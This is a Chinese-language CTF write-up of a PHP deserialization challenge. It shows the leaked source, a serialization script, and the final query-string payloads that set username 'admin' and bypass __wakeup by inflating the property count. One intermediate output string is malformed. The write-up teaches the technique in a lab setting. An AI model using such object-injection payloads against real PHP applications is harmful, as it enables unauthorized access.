[极客大挑战 2019]PHP

打开靶场,敏感的人可能已经发现重点了。

image-20220509182912629

扫描一下备份文件,扫出来了

image-20220509183126717

下载到本地看看里面有什么信息,发现三个重要的php文件源码,看了一下,这题是 php反序列化 。

# index.php
...
    <?php
    include 'class.php';
    $select = $_GET['select'];		# 获取参数值
    $res=unserialize(@$select);		# 对参数反序列化,说明输入的参数是经过序列化之后的
    ?>
...


# class.php
<?php
include 'flag.php';
error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){		# 用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。
        $this->username = $username;
        $this->password = $password;
    }
    
    function __wakeup(){
        $this->username = 'guest';
    }
    
    function __destruct(){		# 当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。
        if ($this->password != 100) {		# 如果 password != 100 就输出用户名和密码
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {		# 当 username === admin 才能输出 flag
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

# flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

经过分析,已经确定需要提交的参数是 select,而且提交的值是经过序列化之后的值,username=‘admin’,password=‘100’ 才能过。

# 序列化代码
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}

$ser = serialize(new Name());
var_dump($ser);
?>
    
## 结果:"O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:3:'100';}"

提交发现不成功

image-20220509222235128

image-20220509222327076

仔细一点就发现了,我们复制上去的 payload 少了几个空,复制的时候丢了,需要加上去。

# payload
?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

image-20220509222729604

接着提交的时候发现还是不成功,参考了一下大佬文章找到了原因,并且分析一下。

在类外部使用 serialize() 函数进行序列化的时候,会先调用类内部的 __sleep() 方法,同理在调用 unserialize() 函数的时候会先调用 __wakeup() 方法。

在上面的class中有一个 __wakeup() 方法,调用反序列化函数的时候会先调用了 __wakeup() 方法,但是这个方法有个缺陷,就是当 参数的个数大于实际参数个数的时候就可以跳过执行 __wakeup() 方法。所以修改一下参数个数再提交

# payload
?select=O:4:"Name":12:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

image-20220509223357155

参考文章:

菜鸟教程

序列化和反序列化

PHP在线运行

大佬的文章

PHP中 __wakeup()方法详解